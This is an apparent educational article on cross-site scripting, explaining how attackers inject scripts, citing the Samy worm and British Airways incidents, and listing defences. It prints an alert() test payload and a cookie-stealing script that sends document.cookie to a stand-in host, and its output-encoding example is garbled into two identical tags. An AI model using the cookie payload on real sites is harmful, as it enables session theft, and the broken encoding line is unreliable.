Cross-Site Scripting (XSS) is one of the most prevalent web vulnerabilities, allowing attackers to inject malicious scripts into web applications. When exploited, XSS can steal user data, deface websites, or even take control of user sessions. Despite increased awareness, XSS continues to pose a significant threat to organizations worldwide.
How Hackers Exploit XSS
Hackers take advantage of insecure input handling in web applications to inject harmful JavaScript or other client-side scripts into pages viewed by users. This vulnerability arises when applications fail to properly sanitize user input before displaying it on a webpage. Here’s how an attack works:
Identifying Vulnerable Input Fields:
Hackers use automated scanners or manual testing to detect input fields that improperly handle user input, such as comment sections, search boxes, and URL parameters.
Injecting Malicious Scripts:
If the application doesn’t sanitize inputs correctly, attackers can inject scripts like:
<script>alert('Hacked!');</script>This can execute arbitrary JavaScript in the victim’s browser.
Stealing User Data:
Attackers may use XSS to steal session cookies, credentials, or other sensitive data using:
<script>document.location='http://malicious.com/steal?cookie=' + document.cookie;</script>Defacing Websites or Redirecting Users:
Malicious scripts can modify website content or redirect users to phishing sites.
Spreading Malware:
In some cases, XSS is used to distribute malware by injecting malicious download links.
Real-World Examples
1. MySpace Worm (2005)
A user exploited an XSS vulnerability to create the infamous Samy worm, which added thousands of friends to his account automatically, affecting over 1 million users in just 20 hours.
2. British Airways Hack (2018)
Hackers exploited an XSS vulnerability to inject a malicious script that captured payment details of 380,000 customers.
How to Prevent XSS
To protect web applications from XSS attacks, developers and organizations must implement the following best practices:
Use Output Encoding
Encode user inputs before rendering them in HTML to prevent script execution:
<script> instead of <script>Implement Content Security Policy (CSP)
CSP restricts the execution of inline scripts and prevents malicious script injections.
Use HTTP-Only Cookies
Protect cookies from being accessed by JavaScript, reducing the risk of session hijacking.
